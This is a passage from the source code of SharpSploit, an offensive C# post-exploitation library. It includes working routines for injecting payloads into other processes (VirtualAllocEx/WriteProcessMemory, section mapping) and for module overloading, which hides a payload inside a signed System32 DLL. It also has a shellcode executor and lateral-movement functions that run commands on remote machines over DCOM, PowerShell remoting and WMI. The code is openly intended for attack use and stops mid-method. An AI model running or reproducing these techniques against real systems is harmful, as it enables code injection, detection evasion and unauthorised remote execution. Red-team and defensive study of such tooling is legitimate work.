procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) 161 | { 162 | // Copied so that they may be passed by reference but the original value preserved 163 | IntPtr baseAddr = addr; 164 | ulong size = sizeData; 165 | 166 | uint disp = 2; 167 | uint alloc = 0; 168 | 169 | // Returns an NTSTATUS value 170 | Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( 171 | sectionHandle, procHandle, 172 | ref baseAddr, 173 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 174 | ref size, disp, alloc, 175 | protection 176 | ); 177 | 178 | // Create a struct to hold the results. 179 | SectionDetails details = new SectionDetails(baseAddr, sizeData); 180 | 181 | return details; 182 | } 183 | 184 | 185 | /// 186 | /// Holds the data returned from NtMapViewOfSection. 187 | /// 188 | public struct SectionDetails 189 | { 190 | public IntPtr baseAddr; 191 | public ulong size; 192 | 193 | public SectionDetails(IntPtr addr, ulong sizeData) 194 | { 195 | baseAddr = addr; 196 | size = sizeData; 197 | } 198 | } 199 | 200 | /// 201 | /// Unmaps a view of a section from a process. 202 | /// 203 | /// The Wover (@TheRealWover) 204 | /// Process to which the view has been mapped. 205 | /// Address of the view (relative to the target process) 206 | /// 207 | public static Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) 208 | { 209 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /SharpSploit/Execution/Injection/VirtualAllocAllocationTechnique.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | using SharpSploit.Execution.DynamicInvoke; 7 | 8 | namespace SharpSploit.Execution.Injection 9 | { 10 | /// 11 | /// Allocates a payload to a target process using VirtualAllocateEx and WriteProcessMemory 12 | /// 13 | /// aus 14 | public class VirtualAllocAllocationTechnique : AllocationTechnique 15 | { 16 | private readonly Win32.Kernel32.AllocationType AllocationType = Win32.Kernel32.AllocationType.Reserve | Win32.Kernel32.AllocationType.Commit; 17 | private readonly Win32.Kernel32.MemoryProtection MemoryProtection = Win32.Kernel32.MemoryProtection.ExecuteReadWrite; 18 | private readonly AllocationAPI AllocAPI = AllocationAPI.VirtualAllocEx; 19 | private readonly WriteAPI Write_API = WriteAPI.WriteProcessMemory; 20 | 21 | public enum AllocationAPI 22 | { 23 | VirtualAllocEx, 24 | NtAllocateVirtualMemory 25 | }; 26 | 27 | public enum WriteAPI 28 | { 29 | WriteProcessMemory, 30 | NtWriteVirtualMemory 31 | }; 32 | 33 | /// 34 | /// Default constructor. 35 | /// 36 | public VirtualAllocAllocationTechnique() 37 | { 38 | DefineSupportedPayloadTypes(); 39 | } 40 | 41 | /// 42 | /// Constructor allowing options as arguments. 43 | /// 44 | public VirtualAllocAllocationTechnique( 45 | Win32.Kernel32.AllocationType AllocationType = Win32.Kernel32.AllocationType.Reserve | Win32.Kernel32.AllocationType.Commit, 46 | Win32.Kernel32.MemoryProtection MemoryProtection = Win32.Kernel32.MemoryProtection.ExecuteReadWrite, 47 | AllocationAPI alloc = AllocationAPI.VirtualAllocEx, 48 | WriteAPI write = WriteAPI.WriteProcessMemory 49 | ) 50 | { 51 | DefineSupportedPayloadTypes(); 52 | this.AllocationType = AllocationType; 53 | this.MemoryProtection = MemoryProtection; 54 | this.AllocAPI = alloc; 55 | this.Write_API = write; 56 | } 57 | 58 | /// 59 | /// States whether the payload is supported. 60 | /// 61 | /// The Wover (@TheRealWover) 62 | /// Payload that will be allocated. 63 | /// 64 | public override bool IsSupportedPayloadType(PayloadType Payload) 65 | { 66 | return supportedPayloads.Contains(Payload.GetType()); 67 | } 68 | 69 | /// 70 | /// Internal method for setting the supported payload types. Used in constructors. 71 | /// Update when new types of payloads are added. 72 | /// 73 | /// The Wover (@TheRealWover) 74 | internal override void DefineSupportedPayloadTypes() 75 | { 76 | //Defines the set of supported payload types. 77 | supportedPayloads = new Type[] { 78 | typeof(PICPayload) 79 | }; 80 | } 81 | 82 | /// 83 | /// Allocate the payload to the target process. Handles unknown payload types. 84 | /// 85 | /// The Wover (@TheRealWover) 86 | /// The payload to allocate to the target process. 87 | /// The target process. 88 | /// Base address of allocated memory within the target process's virtual memory space. 89 | public override IntPtr Allocate(PayloadType Payload, Process Process) 90 | { 91 | if (!IsSupportedPayloadType(Payload)) 92 | { 93 | throw new PayloadTypeNotSupported(Payload.GetType()); 94 | } 95 | return Allocate(Payload, Process, IntPtr.Zero); 96 | } 97 | 98 | /// 99 | /// Allocate the payload in the target process via VirtualAllocEx + WriteProcessMemory 100 | /// 101 | /// The Wover (@TheRealWover), aus (@aus) 102 | /// The PIC payload to allocate to the target process. 103 | /// The target process. 104 | /// The preferred address at which to allocate the payload in the target process. 105 | /// Base address of allocated memory within the target process's virtual memory space. 106 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress = new IntPtr()) 107 | { 108 | // Get a convenient handle for the target process. 109 | IntPtr procHandle = Process.Handle; 110 | // Allocate some memory 111 | IntPtr regionAddress = PreferredAddress; 112 | 113 | if (this.AllocAPI == AllocationAPI.VirtualAllocEx) 114 | { 115 | regionAddress = DynamicInvoke.Win32.VirtualAllocEx(procHandle, PreferredAddress, (uint)Payload.Payload.Length, AllocationType, MemoryProtection); 116 | if (regionAddress == IntPtr.Zero) 117 | { 118 | throw new AllocationFailed(Marshal.GetLastWin32Error()); 119 | } 120 | } 121 | else if (this.AllocAPI == AllocationAPI.NtAllocateVirtualMemory) 122 | { 123 | IntPtr regionSize = new IntPtr(Payload.Payload.Length); 124 | DynamicInvoke.Native.NtAllocateVirtualMemory(procHandle, ref regionAddress, IntPtr.Zero, ref regionSize, AllocationType, (uint)MemoryProtection); 125 | } 126 | 127 | if (this.Write_API == WriteAPI.WriteProcessMemory) 128 | { 129 | // Copy the shellcode to allocated memory 130 | bool retVal = DynamicInvoke.Win32.WriteProcessMemory(procHandle, regionAddress, Payload.Payload, (Int32)Payload.Payload.Length, out _); 131 | if (!retVal) 132 | { 133 | throw new MemoryWriteFailed(Marshal.GetLastWin32Error()); 134 | } 135 | } 136 | else if (this.Write_API == WriteAPI.NtWriteVirtualMemory) 137 | { 138 | GCHandle handle = GCHandle.Alloc(Payload.Payload, GCHandleType.Pinned); 139 | IntPtr payloadPtr = handle.AddrOfPinnedObject(); 140 | uint BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory(procHandle, regionAddress, payloadPtr, (uint)Payload.Payload.Length); 141 | if (BytesWritten != (uint)Payload.Payload.Length) 142 | { 143 | throw new MemoryWriteFailed(0); 144 | } 145 | } 146 | 147 | return regionAddress; 148 | } 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /SharpSploit/Execution/ManualMap/Overload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | 8 | using Execute = SharpSploit.Execution; 9 | 10 | namespace SharpSploit.Execution.ManualMap 11 | { 12 | public class Overload 13 | { 14 | /// 15 | /// Locate a signed module with a minimum size which can be used for overloading. 16 | /// 17 | /// The Wover (@TheRealWover) 18 | /// Minimum module byte size. 19 | /// Whether to require that the module be legitimately signed. 20 | /// 21 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found. 22 | /// 23 | public static string FindDecoyModule(long MinSize, bool LegitSigned = true) 24 | { 25 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; 26 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); 27 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) 28 | { 29 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) 30 | { 31 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); 32 | } 33 | } 34 | 35 | // Pick a random candidate that meets the requirements 36 | Random r = new Random(); 37 | // List of candidates that have been considered and rejected 38 | List candidates = new List(); 39 | while (candidates.Count != files.Count) 40 | { 41 | // Iterate through the list of files randomly 42 | int rInt = r.Next(0, files.Count); 43 | string currentCandidate = files[rInt]; 44 | 45 | // Check that the size of the module meets requirements 46 | if (candidates.Contains(rInt) == false && 47 | new FileInfo(currentCandidate).Length >= MinSize) 48 | { 49 | // Check that the module meets signing requirements 50 | if (LegitSigned == true) 51 | { 52 | if (Misc.Utilities.FileHasValidSignature(currentCandidate) == true) 53 | { 54 | return currentCandidate; 55 | } 56 | else 57 | { 58 | candidates.Add(rInt); 59 | } 60 | } 61 | else 62 | { 63 | return currentCandidate; 64 | } 65 | } 66 | candidates.Add(rInt); 67 | } 68 | return string.Empty; 69 | } 70 | 71 | /// 72 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that 73 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 74 | /// 75 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 76 | /// Full path to the payload module on disk. 77 | /// Optional, if the decoy module must have a legitimate signature. 78 | /// Optional, full path the decoy module to overload in memory. 79 | /// PE.PE_MANUAL_MAP 80 | public static PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, bool LegitSigned = true, string DecoyModulePath = null) 81 | { 82 | // Verify process & architecture 83 | bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); 84 | if (IntPtr.Size == 4 && isWOW64) 85 | { 86 | throw new InvalidOperationException("Module overloading in WOW64 is not supported."); 87 | } 88 | 89 | // Get approximate size of Payload 90 | if (!File.Exists(PayloadPath)) 91 | { 92 | throw new InvalidOperationException("Payload filepath not found."); 93 | } 94 | byte[] Payload = File.ReadAllBytes(PayloadPath); 95 | 96 | return OverloadModule(Payload, LegitSigned, DecoyModulePath); 97 | } 98 | 99 | /// 100 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that 101 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 102 | /// 103 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 104 | /// Full byte array for the payload module. 105 | /// Optional, if the decoy module must have a legitimate signature. 106 | /// Optional, full path the decoy module to overload in memory. 107 | /// PE.PE_MANUAL_MAP 108 | public static PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, bool LegitSigned = true, string DecoyModulePath = null) 109 | { 110 | // Verify process & architecture 111 | bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); 112 | if (IntPtr.Size == 4 && isWOW64) 113 | { 114 | throw new InvalidOperationException("Module overloading in WOW64 is not supported."); 115 | } 116 | 117 | // Did we get a DecoyModule? 118 | if (!string.IsNullOrEmpty(DecoyModulePath)) 119 | { 120 | if (!File.Exists(DecoyModulePath)) 121 | { 122 | throw new InvalidOperationException("Decoy filepath not found."); 123 | } 124 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); 125 | if (DecoyFileBytes.Length < Payload.Length) 126 | { 127 | throw new InvalidOperationException("Decoy module is too small to host the payload."); 128 | } 129 | } 130 | else 131 | { 132 | DecoyModulePath = FindDecoyModule(Payload.Length, LegitSigned); 133 | if (string.IsNullOrEmpty(DecoyModulePath)) 134 | { 135 | throw new InvalidOperationException("Failed to find suitable decoy module."); 136 | } 137 | } 138 | 139 | // Map decoy from disk 140 | PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath); 141 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; 142 | 143 | // Change permissions to RW 144 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Execute.Win32.WinNT.PAGE_READWRITE); 145 | 146 | // Zero out memory 147 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); 148 | 149 | // Overload module in memory 150 | PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); 151 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath; 152 | 153 | return OverloadedModuleMetaData; 154 | } 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /SharpSploit/Execution/PlatformInvoke/Native.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | 8 | using Execute = SharpSploit.Execution; 9 | 10 | namespace SharpSploit.Execution.PlatformInvoke 11 | { 12 | public static class Native 13 | { 14 | [DllImport("ntdll.dll", SetLastError = true)] 15 | public static extern int NtFilterToken( 16 | IntPtr TokenHandle, 17 | UInt32 Flags, 18 | IntPtr SidsToDisable, 19 | IntPtr PrivilegesToDelete, 20 | IntPtr RestrictedSids, 21 | ref IntPtr hToken 22 | ); 23 | 24 | [DllImport("ntdll.dll", SetLastError = true)] 25 | public static extern Int32 NtSetInformationToken( 26 | IntPtr TokenHandle, 27 | Int32 TokenInformationClass, 28 | ref Execute.Win32.WinNT._TOKEN_MANDATORY_LABEL TokenInformation, 29 | Int32 TokenInformationLength 30 | ); 31 | 32 | [DllImport("ntdll.dll", SetLastError = true)] 33 | public static extern Execute.Native.NTSTATUS NtCreateSection( 34 | ref IntPtr SectionHandle, 35 | uint DesiredAccess, 36 | IntPtr ObjectAttributes, 37 | ref ulong MaximumSize, 38 | uint SectionPageProtection, 39 | uint AllocationAttributes, 40 | IntPtr FileHandle 41 | ); 42 | 43 | [DllImport("ntdll.dll", SetLastError = true)] 44 | public static extern Execute.Native.NTSTATUS NtMapViewOfSection( 45 | IntPtr SectionHandle, 46 | IntPtr ProcessHandle, 47 | ref IntPtr BaseAddress, 48 | IntPtr ZeroBits, 49 | IntPtr CommitSize, 50 | IntPtr SectionOffset, 51 | ref uint ViewSize, 52 | uint InheritDisposition, 53 | uint AllocationType, 54 | uint Win32Protect 55 | ); 56 | 57 | [DllImport("ntdll.dll", SetLastError = true)] 58 | public static extern Execute.Native.NTSTATUS NtUnmapViewOfSection( 59 | IntPtr hProc, 60 | IntPtr baseAddr 61 | ); 62 | 63 | /// 64 | /// NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution 65 | /// for remote thread creation. 66 | /// 67 | /// 68 | /// 69 | /// 70 | /// 71 | /// 72 | /// 73 | /// 74 | /// 75 | /// 76 | /// 77 | /// 78 | /// 79 | [DllImport("ntdll.dll")] 80 | public static extern IntPtr NtCreateThreadEx( 81 | out IntPtr threadHandle, 82 | Execute.Win32.WinNT.ACCESS_MASK desiredAccess, 83 | IntPtr objectAttributes, 84 | IntPtr processHandle, 85 | IntPtr startAddress, 86 | IntPtr parameter, 87 | bool createSuspended, 88 | int stackZeroBits, 89 | int sizeOfStack, 90 | int maximumStackSize, 91 | IntPtr attributeList 92 | ); 93 | 94 | [DllImport("ntdll.dll", SetLastError = true)] 95 | public static extern int NtQueryInformationProcess( 96 | IntPtr hProcess, 97 | Execute.Native.PROCESSINFOCLASS pic, 98 | IntPtr pi, 99 | int cb, 100 | out int pSize 101 | ); 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /SharpSploit/Execution/ShellCode.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | 8 | using PInvoke = SharpSploit.Execution.PlatformInvoke; 9 | 10 | namespace SharpSploit.Execution 11 | { 12 | /// 13 | /// ShellCode includes a method for executing shellcode. 14 | /// 15 | public class ShellCode 16 | { 17 | [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] 18 | private delegate Int32 Run(); 19 | 20 | /// 21 | /// Executes a specified ShellCode byte array by copying it to pinned memory, modifying the memory 22 | /// permissions with VirtualProtect(), and executing using a delegate. 23 | /// 24 | /// ShellCode byte array to execute. 25 | /// Boolean. True if execution succeeds, false otherwise. 26 | /// Based upon code written by Matt Nelson (@enigma0x3) and Matt Graeber (@mattifestation). 27 | public static bool ShellCodeExecute(byte[] ShellCode) 28 | { 29 | try 30 | { 31 | GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned); 32 | IntPtr ptr = pinnedArray.AddrOfPinnedObject(); 33 | Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length); 34 | 35 | uint flOldProtect = 0; 36 | if (!PInvoke.Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect)) 37 | { 38 | return false; 39 | } 40 | Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run)); 41 | del(); 42 | return true; 43 | } 44 | catch (Exception e) 45 | { 46 | Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message); 47 | } 48 | return false; 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /SharpSploit/Generic/Generic.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Text; 7 | using System.Linq; 8 | using System.Collections.Generic; 9 | using System.Collections; 10 | 11 | namespace SharpSploit.Generic 12 | { 13 | /// 14 | /// GenericObjectResult for listing objects whose type is unknown at compile time. 15 | /// 16 | public sealed class GenericObjectResult : SharpSploitResult 17 | { 18 | public object Result { get; } 19 | protected internal override IList ResultProperties 20 | { 21 | get 22 | { 23 | return new List 24 | { 25 | new SharpSploitResultProperty 26 | { 27 | Name = this.Result.GetType().Name, 28 | Value = this.Result 29 | } 30 | }; 31 | } 32 | } 33 | 34 | public GenericObjectResult(object Result) 35 | { 36 | this.Result = Result; 37 | } 38 | } 39 | 40 | /// 41 | /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily 42 | /// format a list of results from various SharpSploit functions. 43 | /// 44 | /// 45 | public class SharpSploitResultList : IList where T : SharpSploitResult 46 | { 47 | private List Results { get; } = new List(); 48 | 49 | public int Count => Results.Count; 50 | public bool IsReadOnly => ((IList)Results).IsReadOnly; 51 | 52 | 53 | private const int PROPERTY_SPACE = 3; 54 | 55 | /// 56 | /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function. 57 | /// 58 | /// string 59 | public string FormatList() 60 | { 61 | return this.ToString(); 62 | } 63 | 64 | private string FormatTable() 65 | { 66 | // TODO 67 | return ""; 68 | } 69 | 70 | /// 71 | /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience. 72 | /// 73 | /// string 74 | public override string ToString() 75 | { 76 | if (this.Results.Count > 0) 77 | { 78 | StringBuilder labels = new StringBuilder(); 79 | StringBuilder underlines = new StringBuilder(); 80 | List rows = new List(); 81 | for (int i = 0; i < this.Results.Count; i++) 82 | { 83 | rows.Add(new StringBuilder()); 84 | } 85 | for (int i = 0; i < this.Results[0].ResultProperties.Count; i++) 86 | { 87 | labels.Append(this.Results[0].ResultProperties[i].Name); 88 | underlines.Append(new string('-', this.Results[0].ResultProperties[i].Name.Length)); 89 | int maxproplen = 0; 90 | for (int j = 0; j < rows.Count; j++) 91 | { 92 | SharpSploitResultProperty property = this.Results[j].ResultProperties[i]; 93 | string ValueString = property.Value.ToString(); 94 | rows[j].Append(ValueString); 95 | if (maxproplen < ValueString.Length) 96 | { 97 | maxproplen = ValueString.Length; 98 | } 99 | } 100 | if (i != this.Results[0].ResultProperties.Count - 1) 101 | { 102 | labels.Append(new string(' ', Math.Max(2, maxproplen + 2 - this.Results[0].ResultProperties[i].Name.Length))); 103 | underlines.Append(new string(' ', Math.Max(2, maxproplen + 2 - this.Results[0].ResultProperties[i].Name.Length))); 104 | for (int j = 0; j < rows.Count; j++) 105 | { 106 | SharpSploitResultProperty property = this.Results[j].ResultProperties[i]; 107 | string ValueString = property.Value.ToString(); 108 | rows[j].Append(new string(' ', Math.Max(this.Results[0].ResultProperties[i].Name.Length - ValueString.Length + 2, maxproplen - ValueString.Length + 2))); 109 | } 110 | } 111 | } 112 | labels.AppendLine(); 113 | labels.Append(underlines.ToString()); 114 | foreach (StringBuilder row in rows) 115 | { 116 | labels.AppendLine(); 117 | labels.Append(row.ToString()); 118 | } 119 | return labels.ToString(); 120 | } 121 | return ""; 122 | } 123 | 124 | public T this[int index] { get => Results[index]; set => Results[index] = value; } 125 | 126 | public IEnumerator GetEnumerator() 127 | { 128 | return Results.Cast().GetEnumerator(); 129 | } 130 | 131 | IEnumerator IEnumerable.GetEnumerator() 132 | { 133 | return Results.Cast().GetEnumerator(); 134 | } 135 | 136 | public int IndexOf(T item) 137 | { 138 | return Results.IndexOf(item); 139 | } 140 | 141 | public void Add(T t) 142 | { 143 | Results.Add(t); 144 | } 145 | 146 | public void AddRange(IEnumerable range) 147 | { 148 | Results.AddRange(range); 149 | } 150 | 151 | public void Insert(int index, T item) 152 | { 153 | Results.Insert(index, item); 154 | } 155 | 156 | public void RemoveAt(int index) 157 | { 158 | Results.RemoveAt(index); 159 | } 160 | 161 | public void Clear() 162 | { 163 | Results.Clear(); 164 | } 165 | 166 | public bool Contains(T item) 167 | { 168 | return Results.Contains(item); 169 | } 170 | 171 | public void CopyTo(T[] array, int arrayIndex) 172 | { 173 | Results.CopyTo(array, arrayIndex); 174 | } 175 | 176 | public bool Remove(T item) 177 | { 178 | return Results.Remove(item); 179 | } 180 | } 181 | 182 | /// 183 | /// Abstract class that represents a result from a SharpSploit function. 184 | /// 185 | public abstract class SharpSploitResult 186 | { 187 | protected internal abstract IList ResultProperties { get; } 188 | } 189 | 190 | /// 191 | /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties. 192 | /// 193 | public class SharpSploitResultProperty 194 | { 195 | public string Name { get; set; } 196 | public object Value { get; set; } 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /SharpSploit/LateralMovement/DCOM.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Linq; 7 | using System.Reflection; 8 | using System.Collections.Generic; 9 | 10 | namespace SharpSploit.LateralMovement 11 | { 12 | /// 13 | /// DCOM is a class for executing DCOM lateral movement techniques. 14 | /// 15 | public class DCOM 16 | { 17 | /// 18 | /// Execute a process on a remote system using various DCOM methods. 19 | /// 20 | /// ComputerName of remote system to execute process. 21 | /// Command to execute on remote system. 22 | /// 23 | /// 24 | /// DCOM execution method to use. Defaults to MMC20.Application. 25 | /// Bool. True if execution succeeds, false otherwise. 26 | /// 27 | /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is 28 | /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available 29 | /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 30 | /// 31 | public static bool DCOMExecute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application) 32 | { 33 | try 34 | { 35 | if (Method == DCOMMethod.MMC20_Application) 36 | { 37 | Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName); 38 | object RemoteComObject = Activator.CreateInstance(ComType); 39 | 40 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); 41 | object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null); 42 | ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command, Directory, Parameters, "7" }); 43 | } 44 | else if (Method == DCOMMethod.ShellWindows) 45 | { 46 | Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName); 47 | object RemoteComObject = Activator.CreateInstance(ComType); 48 | 49 | object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { }); 50 | object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null); 51 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); 52 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); 53 | } 54 | else if (Method == DCOMMethod.ShellBrowserWindow) 55 | { 56 | Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName); 57 | object RemoteComObject = Activator.CreateInstance(ComType); 58 | 59 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); 60 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); 61 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); 62 | } 63 | else if (Method == DCOMMethod.ExcelDDE) 64 | { 65 | Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName); 66 | object RemoteComObject = Activator.CreateInstance(ComType); 67 | RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false }); 68 | RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters }); 69 | } 70 | return true; 71 | } 72 | catch (Exception e) 73 | { 74 | Console.Error.WriteLine("DCOM Failed: " + e.Message); 75 | } 76 | return false; 77 | } 78 | 79 | /// 80 | /// Execute a process on a remote system using various DCOM methods. 81 | /// 82 | /// ComputerNames of remote systems to execute process. 83 | /// Command to execute on remote system. 84 | /// 85 | /// 86 | /// DCOM execution method to use. Defaults to MMC20.Application. 87 | /// Bool. True if execution succeeds, false otherwise. 88 | /// 89 | /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is 90 | /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available 91 | /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 92 | /// 93 | public static List DCOMExecute(List ComputerNames, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application) 94 | { 95 | return ComputerNames.Select(CN => DCOMExecute(CN, Command, Parameters, Directory, Method)).ToList(); 96 | } 97 | 98 | public enum DCOMMethod 99 | { 100 | MMC20_Application, 101 | ShellWindows, 102 | ShellBrowserWindow, 103 | ExcelDDE 104 | } 105 | 106 | private static readonly Dictionary CLSIDs = new Dictionary 107 | { 108 | { DCOMMethod.ShellWindows, new Guid("9BA05972-F6A8-11CF-A442-00A0C90A8F39") }, 109 | { DCOMMethod.ShellBrowserWindow, new Guid("C08AFD90-F2A1-11D1-8455-00A0C91F3880") } 110 | }; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /SharpSploit/LateralMovement/PowerShellRemoting.cs: -------------------------------------------------------------------------------- 1 | using SharpSploit.Execution; 2 | 3 | namespace SharpSploit.LateralMovement 4 | { 5 | /// 6 | /// PowerShellRemoting is a class for executing PowerShell commands remotely. 7 | /// 8 | public class PowerShellRemoting 9 | { 10 | /// 11 | /// Invoke a PowerShell command on a remote machine. 12 | /// 13 | /// ComputerName of remote system to execute process. 14 | /// Command to execute on remote system. 15 | /// Domain for explicit credentials. 16 | /// Username for explicit credentials. 17 | /// Password for explicit credentials. 18 | /// String. Results of the PowerShell command. 19 | /// Daniel Duggan (@_RastaMouse) 20 | /// 21 | /// The function won't return as long as the command is still running on the remote target. 22 | /// 23 | public static string InvokeCommand(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "") 24 | { 25 | string command = string.Empty; 26 | bool useCredentials = Domain != "" && Username != "" && Password != ""; 27 | 28 | if (useCredentials) 29 | { 30 | command += $@"$Credential = New-Object System.Management.Automation.PSCredential(""{Domain}\{Username}"", (ConvertTo-SecureString ""{Password}"" -AsPlainText -Force)); "; 31 | } 32 | command += $@"Invoke-Command -ComputerName {ComputerName} -ScriptBlock {{ {Command} }}"; 33 | if (useCredentials) 34 | { 35 | command += $" -Credential $Credential"; 36 | } 37 | 38 | return Shell.PowerShellExecute(command); 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /SharpSploit/LateralMovement/WMI.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Linq; 7 | using System.Management; 8 | using System.Collections.Generic; 9 | 10 | using SharpSploit.Generic; 11 | 12 | namespace SharpSploit.LateralMovement 13 | { 14 | /// 15 | /// WMI is a class for executing WMI lateral movement techniques. 16 | /// 17 | public class WMI 18 | { 19 | /// 20 | /// Execute a process on a remote system using the WMI Win32_Process.Create method. 21 | /// 22 | /// ComputerName of remote system to execute process. 23 | /// Command to execute on remote system. 24 | /// Username to authenticate as to the remote system. 25 | /// Password to authenticate the user. 26 | /// WmiExecuteResult, null on failure. 27 | public static WmiExecuteResult WMIExecute(string ComputerName, string Command, string Username = "", string Password = "") 28 | { 29 | ConnectionOptions options = new ConnectionOptions(); 30 | if ((Username != null && Username != "") && Password != null) 31 | { 32 | options.Username = Username; 33 | options.Password = Password; 34 | } 35 | 36 | 